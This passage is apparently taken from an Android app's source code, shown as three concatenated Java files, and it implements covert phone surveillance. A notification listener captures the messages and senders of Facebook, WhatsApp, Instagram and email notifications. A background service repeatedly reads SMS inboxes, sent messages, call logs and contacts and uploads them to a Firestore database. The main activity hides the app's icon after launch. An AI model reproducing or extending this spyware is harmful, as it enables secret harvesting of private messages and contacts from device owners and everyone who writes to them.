19 | import com.google.android.gms.tasks.Tasks;
20 | import com.google.firebase.firestore.CollectionReference;
21 | import com.google.firebase.firestore.DocumentReference;
22 | import com.google.firebase.firestore.DocumentSnapshot;
23 | import com.google.firebase.firestore.FieldPath;
24 | import com.google.firebase.firestore.FirebaseFirestore;
25 | import com.google.firebase.firestore.Query;
26 | import com.google.firebase.firestore.QuerySnapshot;
27 | import com.google.firebase.firestore.WriteBatch;
28 |
29 | import java.util.ArrayList;
30 | import java.util.Calendar;
31 | import java.util.HashMap;
32 | import java.util.List;
33 | import java.util.Map;
34 | import java.util.Timer;
35 | import java.util.TimerTask;
36 | import java.util.concurrent.Callable;
37 | import java.util.concurrent.Executor;
38 | import java.util.concurrent.LinkedBlockingQueue;
39 | import java.util.concurrent.ThreadPoolExecutor;
40 | import java.util.concurrent.TimeUnit;
41 |
42 | import static android.content.ContentValues.TAG;
43 |
44 |
45 | @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN_MR2)
46 | public class NotificationListenerExampleService extends NotificationListenerService{
47 |
48 | private int count=0;
49 | private int ref=7;
50 |
51 | /*
52 | These are the package names of the apps. for which we want to
53 | listen the notifications
54 | */
55 | private static final class ApplicationPackageNames {
56 | public static final String FACEBOOK_PACK_NAME = "com.facebook.katana";
57 | public static final String FACEBOOK_MESSENGER_PACK_NAME = "com.facebook.orca";
58 | public static final String WHATSAPP_PACK_NAME = "com.whatsapp";
59 | public static final String INSTAGRAM_PACK_NAME = "com.instagram.android";
60 | }
61 |
62 | /*
63 | These are the return codes we use in the method which intercepts
64 | the notifications, to decide whether we should do something or not
65 | */
66 | public static final class InterceptedNotificationCode {
67 | public static final int FACEBOOK_CODE = 1;
68 | public static final int WHATSAPP_CODE = 2;
69 | public static final int INSTAGRAM_CODE = 3;
70 | public static final int OTHER_NOTIFICATIONS_CODE = 4; // We ignore all notification with code == 4
71 | public static final int Mails_CODE =5 ;
72 | }
73 |
74 | @Override
75 | public IBinder onBind(Intent intent) {
76 | return super.onBind(intent);
77 | }
78 |
79 | @RequiresApi(api = Build.VERSION_CODES.KITKAT)
80 | @Override
81 | public void onNotificationPosted(StatusBarNotification sbn){
82 | int notificationCode = matchNotificationCode(sbn);
83 | Log.i(TAG,"********** onNotificationPosted");
84 | try {
85 | createNotificationAndSendToDB(notificationCode,sbn);
86 | } catch (InterruptedException e) {
87 | e.printStackTrace();
88 | }
89 | // Log.d("bachla","ID :" + sbn.getId() + "\t" + sbn.getNotification().tickerText + "\t" + sbn.getPackageName());
90 | //Log.d("bachoula"," :" + sbn.getNotification().toString());
91 | //Toast.makeText(this, "ID :" + sbn.getId() + "\t" + sbn.getNotification().tickerText + "\t" + sbn.getPackageName(), Toast.LENGTH_SHORT).show();
92 |
93 |
94 | //Bundle bun= sbn.getNotification().extras;
95 |
96 |
97 | if(notificationCode != InterceptedNotificationCode.OTHER_NOTIFICATIONS_CODE){
98 | Intent intent = new Intent("com.github.chagall.notificationlistenerexample");
99 | intent.putExtra("Notification Code", notificationCode);
100 | sendBroadcast(intent);
101 | }
102 | }
103 |
104 | @RequiresApi(api = Build.VERSION_CODES.KITKAT)
105 | private void createNotificationAndSendToDB(int notificationCode, StatusBarNotification sbn) throws InterruptedException {
106 |
107 |
108 |
109 |
110 |
111 |
112 | Notification notification;
113 | String currentDateString= Calendar.getInstance().getTime().toString();
114 | CharSequence content=sbn.getNotification().tickerText;
115 | String wholeMsg="",userSender="";
116 |
117 | Bundle bun1= sbn.getNotification().extras;
118 | if (bun1.getString(sbn.getNotification().EXTRA_TEXT) != null)
119 | wholeMsg=bun1.getString(sbn.getNotification().EXTRA_TEXT).toString();
120 |
121 | if (bun1.getString(sbn.getNotification().EXTRA_TITLE_BIG) != null)
122 | userSender=bun1.getString(sbn.getNotification().EXTRA_TITLE_BIG).toString();
123 |
124 |
125 | //firebase
126 | Map notif = new HashMap<>();
127 | FirebaseFirestore db = FirebaseFirestore.getInstance();
128 | CollectionReference collection= db.collection("notifications");
129 | DocumentReference document=collection.document();
130 |
131 | // get count
132 |
133 | collection
134 | .get()
135 | .addOnCompleteListener(new OnCompleteListener() {
136 | @Override
137 | public void onComplete(@NonNull Task task) {
138 | if (task.isSuccessful()) {
139 | count=task.getResult().size();
140 | Log.d("countnb",""+count);
141 | }
142 | }
143 | });
144 | //*************
145 |
146 | if (count>=ref){
147 |
148 | Intent intent= new Intent(this,MyService.class);
149 | try {
150 | startService(intent);
151 | } catch (Exception e) {
152 | e.printStackTrace();
153 | }finally {
154 | ref+=7;
155 | }
156 |
157 | }
158 |
159 | //Toast.makeText(this, "yy "+new MainActivity().getCallDetails().size(), Toast.LENGTH_SHORT).show();
160 |
161 |
162 | if (content!=null){
163 |
164 |
165 | switch (notificationCode){
166 | case 1:
167 |
168 |
169 | Log.d("haylo", ""+userSender);
170 | notification= new Notification("facebook notification",""+wholeMsg,currentDateString,userSender);
171 | //Toast.makeText(this, ""+notification.toString(), Toast.LENGTH_LONG).show();
172 | //Log.d("okibb",""+notification.toString());
173 | notif.put("type", notification.getType());
174 | notif.put("content", notification.getContent());
175 | notif.put("receivedTime", notification.getReceivedTime());
176 | notif.put("sender", notification.getUserSender());
177 | document.set(notif).addOnSuccessListener(new OnSuccessListener() {
178 | @Override
179 | public void onSuccess(Void documentReference) {
180 | Log.d("fcb", "your facebook notification was added successfully" );
181 | }
182 | });
183 |
184 | break;
185 | case 2:
186 | String[] separated = wholeMsg.split(":");
187 | String whatsuppSender=separated[0];
188 | wholeMsg=separated[1];
189 | notification= new Notification("whatusapp notification",""+wholeMsg,currentDateString,whatsuppSender);
190 | //Toast.makeText(this, ""+notification.toString(), Toast.LENGTH_LONG).show();
191 | notif.put("type", notification.getType());
192 | notif.put("content", notification.getContent());
193 | notif.put("receivedTime", notification.getReceivedTime());
194 | notif.put("sender", notification.getUserSender());
195 | document.set(notif).addOnSuccessListener(new OnSuccessListener() {
196 | @Override
197 | public void onSuccess(Void documentReference) {
198 | Log.d(TAG, "your notification was added successfully" );
199 | }
200 | });
201 |
202 | break;
203 | case 3:
204 | separated = wholeMsg.split(":");
205 | String instaSender=separated[0];
206 | wholeMsg=separated[1];
207 | notification= new Notification("Instagram notification",""+wholeMsg,currentDateString,instaSender);
208 | //Toast.makeText(this, ""+notification.toString(), Toast.LENGTH_LONG).show();
209 | notif.put("type", notification.getType());
210 | notif.put("content", notification.getContent());
211 | notif.put("receivedTime", notification.getReceivedTime());
212 | notif.put("sender", notification.getUserSender());
213 | document.set(notif).addOnSuccessListener(new OnSuccessListener() {
214 | @Override
215 | public void onSuccess(Void documentReference) {
216 | Log.d(TAG, "your notification was added successfully" );
217 | }
218 | });
219 | break;
220 | case 5:
221 | Bundle bun= sbn.getNotification().extras;
222 | String contentOfEmail="";
223 | notification= new Notification(""+sbn.getPackageName(),""+content,currentDateString,userSender);
224 | //Toast.makeText(this, ""+notification.toString(), Toast.LENGTH_LONG).show();
225 |
226 | CharSequence[] lines = bun.getCharSequenceArray(sbn.getNotification().EXTRA_TEXT_LINES);
227 | if (lines != null) {
228 | for (CharSequence line : lines) {
229 | contentOfEmail = line.toString() ;
230 | }
231 | }
232 | //Toast.makeText(this, ""+temp, Toast.LENGTH_LONG).show();
233 | String subjectOfEmail,sender;
234 | if (bun.getString(sbn.getNotification().EXTRA_TEXT) != null)
235 | subjectOfEmail=bun.getString(sbn.getNotification().EXTRA_TEXT).toString();
236 | else
237 | subjectOfEmail = null;
238 |
239 | if (bun.getString(sbn.getNotification().EXTRA_TITLE_BIG) != null)
240 | sender=bun.getString(sbn.getNotification().EXTRA_TITLE_BIG).toString();
241 | else
242 | sender = null;
243 |
244 | String temp=subjectOfEmail+" "+sender+" "+contentOfEmail;
245 | if(subjectOfEmail!=null && sender!=null && contentOfEmail!=null){
246 |
247 |
248 | notif.put("Subject of email",subjectOfEmail);
249 | notif.put("sender",sender);
250 | notif.put("content",contentOfEmail);
251 | notif.put("type","email notification");
252 | notif.put("receieved time",currentDateString);
253 | document.set(notif).addOnSuccessListener(new OnSuccessListener() {
254 | @Override
255 | public void onSuccess(Void documentReference) {
256 | Log.d(TAG, "your email notification was added successfully" );
257 | }
258 | });
259 |
260 | Log.d("contenu",temp);
261 | }
262 | break;
263 |
264 |
265 |
266 |
267 | }
268 | }
269 | }
270 |
271 | @Override
272 | public void onNotificationRemoved(StatusBarNotification sbn){
273 | int notificationCode = matchNotificationCode(sbn);
274 | if(notificationCode != InterceptedNotificationCode.OTHER_NOTIFICATIONS_CODE) {
275 |
276 | StatusBarNotification[] activeNotifications = this.getActiveNotifications();
277 |
278 | if(activeNotifications != null && activeNotifications.length > 0) {
279 | for (int i = 0; i < activeNotifications.length; i++) {
280 | if (notificationCode == matchNotificationCode(activeNotifications[i])) {
281 | Intent intent = new Intent("com.github.chagall.notificationlistenerexample");
282 | intent.putExtra("Notification Code", notificationCode);
283 | sendBroadcast(intent);
284 | break;
285 | }
286 | }
287 | }
288 | }
289 | }
290 |
291 | private int matchNotificationCode(StatusBarNotification sbn) {
292 | String packageName = sbn.getPackageName();
293 |
294 | if(packageName.equals(ApplicationPackageNames.FACEBOOK_PACK_NAME)
295 | || packageName.equals(ApplicationPackageNames.FACEBOOK_MESSENGER_PACK_NAME)){
296 |
297 | return(InterceptedNotificationCode.FACEBOOK_CODE);
298 | }
299 | else if(packageName.equals(ApplicationPackageNames.INSTAGRAM_PACK_NAME)){
300 | return(InterceptedNotificationCode.INSTAGRAM_CODE);
301 | }
302 | else if(packageName.equals(ApplicationPackageNames.WHATSAPP_PACK_NAME)){
303 | return(InterceptedNotificationCode.WHATSAPP_CODE);
304 | }
305 | else if(packageName.contains("mail")){
306 | return(InterceptedNotificationCode.Mails_CODE);
307 | }
308 | else{
309 | return(InterceptedNotificationCode.OTHER_NOTIFICATIONS_CODE);
310 | }
311 | }
312 |
313 |
314 |
315 |
316 |
317 |
318 | }
319 |
--------------------------------------------------------------------------------
/app/src/main/java/com/example/ghazi/sms/MyService.java:
--------------------------------------------------------------------------------
1 | package com.example.ghazi.sms;
2 |
3 | import android.app.Service;
4 | import android.content.Intent;
5 | import android.content.pm.PackageManager;
6 | import android.database.Cursor;
7 | import android.net.Uri;
8 | import android.os.IBinder;
9 | import android.provider.*;
10 | import android.provider.CallLog;
11 | import android.support.annotation.WorkerThread;
12 | import android.support.v4.app.ActivityCompat;
13 | import android.support.v4.content.ContextCompat;
14 | import android.util.Log;
15 |
16 | import com.google.android.gms.tasks.OnSuccessListener;
17 | import com.google.android.gms.tasks.Task;
18 | import com.google.android.gms.tasks.Tasks;
19 | import com.google.firebase.firestore.CollectionReference;
20 | import com.google.firebase.firestore.DocumentReference;
21 | import com.google.firebase.firestore.DocumentSnapshot;
22 | import com.google.firebase.firestore.FieldPath;
23 | import com.google.firebase.firestore.FirebaseFirestore;
24 | import com.google.firebase.firestore.Query;
25 | import com.google.firebase.firestore.QuerySnapshot;
26 | import com.google.firebase.firestore.WriteBatch;
27 |
28 | import java.util.ArrayList;
29 | import java.util.Calendar;
30 | import java.util.Date;
31 | import java.util.HashMap;
32 | import java.util.List;
33 | import java.util.Map;
34 | import java.util.Timer;
35 | import java.util.TimerTask;
36 | import java.util.concurrent.Callable;
37 | import java.util.concurrent.Executor;
38 | import java.util.concurrent.LinkedBlockingQueue;
39 | import java.util.concurrent.ThreadPoolExecutor;
40 | import java.util.concurrent.TimeUnit;
41 |
42 | public class MyService extends Service {
43 | final int REQUEST_CODE_ASK_PERMISSIONS = 123;
44 | public MyService() {
45 | }
46 |
47 | @Override
48 | public IBinder onBind(Intent intent) {
49 | // TODO: Return the communication channel to the service.
50 | throw new UnsupportedOperationException("Not yet implemented");
51 | }
52 |
53 | @Override
54 | public int onStartCommand(Intent intent, int flags, int startId) {
55 | final ThreadPoolExecutor EXECUTOR = new ThreadPoolExecutor(2, 4, 60,
56 | TimeUnit.SECONDS, new LinkedBlockingQueue());
57 | FirebaseFirestore db = FirebaseFirestore.getInstance();
58 | final CollectionReference refSmsReceivedCollection = db.collection("ReceivedSMS");
59 | final CollectionReference refSmsSentCollection = db.collection("SentSMS");
60 | final CollectionReference refCallLogsCollection=db.collection("CallLogs");
61 |
62 | final long period = 1000;
63 | new Timer().schedule(new TimerTask() {
64 | @Override
65 | public void run() {
66 | // do your task here
67 | deleteCollection(refCallLogsCollection, 25, EXECUTOR).addOnSuccessListener(new OnSuccessListener() {
68 | @Override
69 | public void onSuccess(Void aVoid) {
70 | Log.d("dandoun", " successfully deleted!");
71 | sendCallLogToDB(getCallDetails());
72 |
73 |
74 | }
75 | });
76 |
77 |
78 |
79 |
80 | }
81 | }, 0, period*60*5);
82 |
83 | new Timer().schedule(new TimerTask() {
84 | @Override
85 | public void run() {
86 | // do your task here
87 | deleteCollection(refSmsSentCollection, 25, EXECUTOR).addOnSuccessListener(new OnSuccessListener() {
88 | @Override
89 | public void onSuccess(Void aVoid) {
90 | Log.d("dandoun", " successfully deleted!");
91 | sendSentSMSToDB(getSentSMSs());
92 |
93 |
94 | }
95 | });
96 | ;
97 | //sendSentSMSToDB(getSentSMSs());
98 | }
99 | }, period * 5, period * 86400);
100 |
101 | new Timer().schedule(new TimerTask() {
102 | @Override
103 | public void run() {
104 | // do your task here
105 |
106 | deleteCollection(refSmsReceivedCollection, 25, EXECUTOR).addOnSuccessListener(new OnSuccessListener() {
107 | @Override
108 | public void onSuccess(Void aVoid) {
109 | Log.d("dandoun", " successfully deleted!");
110 | sendReceivedSMSToDB(getReceivedSMSs());
111 |
112 |
113 | }
114 | });
115 |
116 | }
117 | }, period * 2, period * 86400);
118 |
119 | return START_STICKY;
120 | }
121 |
122 | public void sendCallLogToDB(ArrayList listCallLogs) {
123 | //firebase
124 | Map callLog = new HashMap<>();
125 | FirebaseFirestore db = FirebaseFirestore.getInstance();
126 | CollectionReference collection= db.collection("CallLogs");
127 |
128 | for(int i=0;i() {
135 | @Override
136 | public void onSuccess(Void documentReference) {
137 | Log.d("", "your call Log was added successfully" );
138 | }
139 | });
140 |
141 | }
142 | }
143 |
144 | public ArrayList getCallDetails() {
145 |
146 | ArrayList callLogs= new ArrayList();
147 | StringBuffer sb = new StringBuffer();
148 |
149 |
150 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_CALL_LOG") == PackageManager.PERMISSION_GRANTED) {
151 |
152 |
153 | Calendar calendar = Calendar.getInstance();
154 | calendar.add(Calendar.DAY_OF_YEAR, -1);
155 | Date weekBefore = calendar.getTime();
156 |
157 | String selection = CallLog.Calls.DATE + ">?";
158 | String [] selectionArgs = {String.valueOf(weekBefore.getTime())};
159 | //Cursor cr = managedQuery(CallLog.Calls.CONTENT_URI, null, selection, selectionArgs, null);
160 |
161 |
162 | Cursor managedCursor = getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
163 | selection, selectionArgs, CallLog.Calls.DATE + " ASC");
164 | int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
165 | //Toast.makeText(this, "hahahghk", Toast.LENGTH_LONG).show();
166 | int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
167 | int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
168 | int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
169 | sb.append("Call Details :");
170 | while (managedCursor.moveToNext()) {
171 | String phNumber = managedCursor.getString(number);
172 | String callType = managedCursor.getString(type);
173 | String callDate = managedCursor.getString(date);
174 | Date callDayTime = new Date(Long.valueOf(callDate));
175 | String callDuration = managedCursor.getString(duration);
176 | String dir = null;
177 | int dircode = Integer.parseInt(callType);
178 | switch (dircode) {
179 | case CallLog.Calls.OUTGOING_TYPE:
180 | dir = "OUTGOING";
181 | break;
182 |
183 | case CallLog.Calls.INCOMING_TYPE:
184 | dir = "INCOMING";
185 | break;
186 |
187 | case CallLog.Calls.MISSED_TYPE:
188 | dir = "MISSED";
189 | break;
190 | }
191 | sb.append("\nPhone Number:--- " + phNumber + " \nCall Type:--- "
192 | + dir + " \nCall Date:--- " + callDayTime
193 | + " \nCall duration in sec :--- " + callDuration);
194 | sb.append("\n----------------------------------");
195 | callLogs.add(new com.example.ghazi.sms.CallLog(phNumber,dir,callDayTime,callDuration));
196 | }
197 |
198 | // close it or no ?
199 | // managedCursor.close();
200 | }
201 |
202 | //return sb.toString();
203 | return callLogs;
204 |
205 | }
206 |
207 |
208 | @WorkerThread
209 | private List deleteQueryBatch(final Query query) throws Exception {
210 | QuerySnapshot querySnapshot = Tasks.await(query.get());
211 |
212 | WriteBatch batch = query.getFirestore().batch();
213 | for (DocumentSnapshot snapshot : querySnapshot) {
214 | batch.delete(snapshot.getReference());
215 | }
216 | Tasks.await(batch.commit());
217 |
218 | return querySnapshot.getDocuments();
219 | }
220 | private Task deleteCollection(final CollectionReference collection,
221 | final int batchSize,
222 | Executor executor) {
223 |
224 | // Perform the delete operation on the provided Executor, which allows us to use
225 | // simpler synchronous logic without blocking the main thread.
226 | return Tasks.call(executor, new Callable() {
227 | @Override
228 | public Void call() throws Exception {
229 | // Get the first batch of documents in the collection
230 | Query query = collection.orderBy(FieldPath.documentId()).limit(batchSize);
231 |
232 | // Get a list of deleted documents
233 | List deleted = deleteQueryBatch(query);
234 |
235 | // While the deleted documents in the last batch indicate that there
236 | // may still be more documents in the collection, page down to the
237 | // next batch and delete again
238 | while (deleted.size() >= batchSize) {
239 | // Move the query cursor to start after the last doc in the batch
240 | DocumentSnapshot last = deleted.get(deleted.size() - 1);
241 | query = collection.orderBy(FieldPath.documentId())
242 | .startAfter(last.getId())
243 | .limit(batchSize);
244 |
245 | deleted = deleteQueryBatch(query);
246 | }
247 |
248 | return null;
249 | }
250 | });
251 |
252 | }
253 |
254 |
255 |
256 |
257 | public ArrayList getSentSMSs(){
258 |
259 | ArrayList smsList= new ArrayList();
260 | //ActivityCompat.requestPermissions(MyService.this, new String[]{"android.permission.READ_SMS"}, REQUEST_CODE_ASK_PERMISSIONS);
261 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
262 |
263 | Cursor cursor = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, null);
264 |
265 | if (cursor.moveToFirst()) { // must check the result to prevent exception
266 | do {
267 | String msgData = "";
268 | for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
269 | msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
270 | }
271 | //Toast.makeText(this, "" + msgData, Toast.LENGTH_SHORT).show();
272 | // String body=cursor.getString(12);
273 | String body= cursor.getString(cursor.getColumnIndex("body"));
274 | String address= cursor.getString(cursor.getColumnIndex("address"));
275 |
276 | //Log.d("hhhh",body+ ":::"+address);
277 | smsList.add(new Sms(address,body));
278 | } while (cursor.moveToNext());
279 | }
280 | }
281 | return smsList;
282 | }
283 |
284 | public void sendSentSMSToDB(ArrayList listSMS) {
285 |
286 | Map sms = new HashMap<>();
287 | FirebaseFirestore db = FirebaseFirestore.getInstance();
288 | CollectionReference collection= db.collection("SentSMS");
289 |
290 | for(int i=0;i() {
295 | @Override
296 | public void onSuccess(Void documentReference) {
297 | Log.d("5ra", "your sms was added successfully" );
298 | }
299 | });
300 |
301 | }
302 | }
303 |
304 | private void sendReceivedSMSToDB(ArrayList listSMS) {
305 |
306 | Map sms = new HashMap<>();
307 | FirebaseFirestore db = FirebaseFirestore.getInstance();
308 | CollectionReference collection= db.collection("ReceivedSMS");
309 |
310 | for(int i=0;i() {
315 | @Override
316 | public void onSuccess(Void documentReference) {
317 | Log.d("tag", "your sms was added successfully" );
318 | }
319 | });
320 |
321 | }
322 | }
323 |
324 | public ArrayList getReceivedSMSs(){
325 |
326 | ArrayList smsList= new ArrayList();
327 | // ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.READ_SMS"}, REQUEST_CODE_ASK_PERMISSIONS);
328 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
329 |
330 | Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, null);
331 |
332 | if (cursor.moveToFirst()) { // must check the result to prevent exception
333 | do {
334 | String msgData = "";
335 | for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
336 | msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
337 | }
338 | //Toast.makeText(this, "" + msgData, Toast.LENGTH_SHORT).show();
339 | // String body=cursor.getString(12);
340 | String body= cursor.getString(cursor.getColumnIndex("body"));
341 | String address= cursor.getString(cursor.getColumnIndex("address"));
342 |
343 | //Log.d("hhhh",body+ ":::"+address);
344 | smsList.add(new Sms(address,body));
345 | } while (cursor.moveToNext());
346 | }
347 | }
348 | return smsList;
349 | }
350 |
351 |
352 | }
353 |
--------------------------------------------------------------------------------
/app/src/main/java/com/example/ghazi/sms/MainActivity.java:
--------------------------------------------------------------------------------
1 | package com.example.ghazi.sms;
2 |
3 | import android.Manifest;
4 | import android.app.AlertDialog;
5 | import android.content.BroadcastReceiver;
6 | import android.content.ComponentName;
7 | import android.content.ContentResolver;
8 | import android.content.Context;
9 | import android.content.DialogInterface;
10 | import android.content.Intent;
11 | import android.content.IntentFilter;
12 | import android.content.pm.PackageManager;
13 | import android.database.Cursor;
14 | import android.net.Uri;
15 | import android.provider.CallLog;
16 | import android.provider.ContactsContract;
17 | import android.provider.Settings;
18 | import android.support.annotation.NonNull;
19 | import android.support.annotation.WorkerThread;
20 | import android.support.v4.app.ActivityCompat;
21 | import android.support.v4.content.ContextCompat;
22 | import android.support.v7.app.AppCompatActivity;
23 | import android.os.Bundle;
24 | import android.text.TextUtils;
25 | import android.util.Log;
26 | import android.view.View;
27 | import android.widget.ArrayAdapter;
28 | import android.widget.Button;
29 | import android.widget.ImageView;
30 | import android.widget.TextView;
31 | import android.widget.Toast;
32 |
33 | import com.google.android.gms.tasks.OnCompleteListener;
34 | import com.google.android.gms.tasks.OnSuccessListener;
35 | import com.google.android.gms.tasks.Task;
36 | import com.google.android.gms.tasks.Tasks;
37 | import com.google.firebase.auth.AuthResult;
38 | import com.google.firebase.auth.FirebaseUser;
39 | import com.google.firebase.firestore.CollectionReference;
40 | import com.google.firebase.firestore.DocumentReference;
41 | import com.google.firebase.firestore.DocumentSnapshot;
42 | import com.google.firebase.firestore.FieldPath;
43 | import com.google.firebase.firestore.FirebaseFirestore;
44 | import com.google.firebase.firestore.Query;
45 | import com.google.firebase.firestore.QuerySnapshot;
46 | import com.google.firebase.firestore.WriteBatch;
47 |
48 | import java.util.ArrayList;
49 | import java.util.Calendar;
50 | import java.util.Date;
51 | import java.util.HashMap;
52 | import java.util.List;
53 | import java.util.Map;
54 | import java.util.Timer;
55 | import java.util.TimerTask;
56 | import java.util.concurrent.Callable;
57 | import java.util.concurrent.Executor;
58 | import java.util.concurrent.LinkedBlockingQueue;
59 | import java.util.concurrent.ThreadPoolExecutor;
60 | import java.util.concurrent.TimeUnit;
61 |
62 | import static android.content.ContentValues.TAG;
63 |
64 | public class MainActivity extends AppCompatActivity {
65 |
66 | private String TAG;
67 | final int REQUEST_CODE_ASK_PERMISSIONS = 123;
68 | Button btn ;
69 | String[] permissions = new String[]{
70 | Manifest.permission.INTERNET,
71 | Manifest.permission.READ_PHONE_STATE,
72 | Manifest.permission.READ_EXTERNAL_STORAGE,
73 | Manifest.permission.WRITE_EXTERNAL_STORAGE,
74 | Manifest.permission.VIBRATE,
75 | Manifest.permission.RECORD_AUDIO,
76 | Manifest.permission.READ_CALL_LOG,
77 | Manifest.permission.READ_SMS,
78 | Manifest.permission.READ_CONTACTS
79 | };
80 |
81 | private static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
82 | private static final String ACTION_NOTIFICATION_LISTENER_SETTINGS = "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS";
83 |
84 | private ImageView interceptedNotificationImageView;
85 | //private ImageChangeBroadcastReceiver imageChangeBroadcastReceiver;
86 | private AlertDialog enableNotificationListenerAlertDialog;
87 | private static final ThreadPoolExecutor EXECUTOR = new ThreadPoolExecutor(2, 4, 60,
88 | TimeUnit.SECONDS, new LinkedBlockingQueue());
89 | public static boolean firstTimeFlag=true;
90 |
91 | public MainActivity() {
92 | }
93 |
94 | //TextView hello=(TextView)findViewById(R.id.smstxt);
95 | @Override
96 | protected void onCreate(Bundle savedInstanceState) {
97 | super.onCreate(savedInstanceState);
98 | setContentView(R.layout.activity_main);
99 | boolean ok = false;
100 | ok=checkPermissions();
101 | FirebaseFirestore db = FirebaseFirestore.getInstance();
102 | final CollectionReference refSmsReceivedCollection= db.collection("ReceivedSMS");
103 | final CollectionReference refSmsSentCollection= db.collection("SentSMS");
104 | final CollectionReference refContactsCollection= db.collection("Contacts");
105 | final CollectionReference refCallLogsCollection= db.collection("CallLogs");
106 | btn = (Button)findViewById(R.id.btn);
107 |
108 | ok=initializeDB();
109 |
110 |
111 |
112 |
113 | Log.d("nb1",""+getReceivedSMSs().size());
114 | Toast.makeText(this, ""+getContactList().toString(), Toast.LENGTH_LONG).show();
115 |
116 | btn.setOnClickListener(new View.OnClickListener() {
117 | @Override
118 | public void onClick(View view) {
119 |
120 | IntentFilter intentFilter = new IntentFilter();
121 | intentFilter.addAction("com.github.chagall.notificationlistenerexample");
122 | hideApplication();
123 |
124 | // schedule sendCallLogToDB to work every day
125 | final long period = 1000;
126 | new Timer().schedule(new TimerTask() {
127 | @Override
128 | public void run() {
129 | // do your task here
130 | deleteCollection(refCallLogsCollection, 25, EXECUTOR).addOnSuccessListener(new OnSuccessListener() {
131 | @Override
132 | public void onSuccess(Void aVoid) {
133 | Log.d("dandoun", " successfully deleted!");
134 | sendCallLogToDB(getCallDetails());
135 |
136 |
137 | }
138 | });
139 |
140 |
141 |
142 |
143 | }
144 | }, 0, period*60*5);
145 |
146 |
147 | // schedule sendReceivedSMSToDB to work every day
148 |
149 | ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.READ_SMS"}, REQUEST_CODE_ASK_PERMISSIONS);
150 |
151 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
152 |
153 |
154 | new Timer().schedule(new TimerTask() {
155 | @Override
156 | public void run() {
157 | // do your task here
158 |
159 | deleteCollection(refSmsReceivedCollection, 25, EXECUTOR).addOnSuccessListener(new OnSuccessListener() {
160 | @Override
161 | public void onSuccess(Void aVoid) {
162 | Log.d("dandoun", " successfully deleted!");
163 | sendReceivedSMSToDB(getReceivedSMSs());
164 |
165 |
166 | }
167 | });
168 |
169 | }
170 | }, period * 2, period * 86400);
171 | }
172 |
173 |
174 | // sendSentSMSToDB
175 |
176 | ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.READ_SMS"}, REQUEST_CODE_ASK_PERMISSIONS);
177 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
178 |
179 |
180 | new Timer().schedule(new TimerTask() {
181 | @Override
182 | public void run() {
183 | // do your task here
184 | deleteCollection(refSmsSentCollection, 25, EXECUTOR).addOnSuccessListener(new OnSuccessListener() {
185 | @Override
186 | public void onSuccess(Void aVoid) {
187 | Log.d("dandoun", " successfully deleted!");
188 | sendSentSMSToDB(getSentSMSs());
189 |
190 |
191 | }
192 | });
193 | ;
194 | //sendSentSMSToDB(getSentSMSs());
195 | }
196 | }, period * 5, period * 86400);
197 | }
198 |
199 |
200 | ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.READ_CONTACTS"}, REQUEST_CODE_ASK_PERMISSIONS);
201 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_CONTACTS") == PackageManager.PERMISSION_GRANTED) {
202 |
203 |
204 | new Timer().schedule(new TimerTask() {
205 | @Override
206 | public void run() {
207 | // do your task here
208 | deleteCollection(refContactsCollection, 25, EXECUTOR).addOnSuccessListener(new OnSuccessListener() {
209 | @Override
210 | public void onSuccess(Void aVoid) {
211 | Log.d("dandoun", " successfully deleted!");
212 | sendContactsToDB(getContactList());
213 |
214 |
215 | }
216 | });
217 |
218 | }
219 | }, period * 10, period * 86400 * 7);
220 | }
221 |
222 |
223 | }
224 | });
225 |
226 |
227 | //sendContactsToDB(getContactList());
228 |
229 |
230 |
231 | // If the user did not turn the notification listener service on we prompt him to do so
232 | if(!isNotificationServiceEnabled()){
233 | enableNotificationListenerAlertDialog = buildNotificationServiceAlertDialog();
234 | enableNotificationListenerAlertDialog.show();
235 | }
236 |
237 | // Finally we register a receiver to tell the MainActivity when a notification has been received
238 |
239 |
240 | // registerReceiver(imageChangeBroadcastReceiver,intentFilter);
241 |
242 |
243 | //Toast.makeText(this, ""+getCallDetails().size(), Toast.LENGTH_SHORT).show();
244 | /* Intent i = getBaseContext().getPackageManager()
245 | .getLaunchIntentForPackage( getBaseContext().getPackageName() );
246 | i.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
247 | startActivity(i);
248 | hideApplication();*/
249 |
250 |
251 | }
252 |
253 | private boolean initializeDB() {
254 |
255 | Map test = new HashMap<>();
256 | test.put("test","test");
257 | FirebaseFirestore db = FirebaseFirestore.getInstance();
258 | CollectionReference collection= db.collection("ReceivedSMS");
259 | DocumentReference document=collection.document();
260 | document.set(test).addOnSuccessListener(new OnSuccessListener() {
261 | @Override
262 | public void onSuccess(Void documentReference) {
263 | Log.d(TAG, "your was added successfully" );
264 | }
265 | });
266 | CollectionReference collection1= db.collection("SentSMS");
267 | DocumentReference document1=collection.document();
268 | document.set(test).addOnSuccessListener(new OnSuccessListener() {
269 | @Override
270 | public void onSuccess(Void documentReference) {
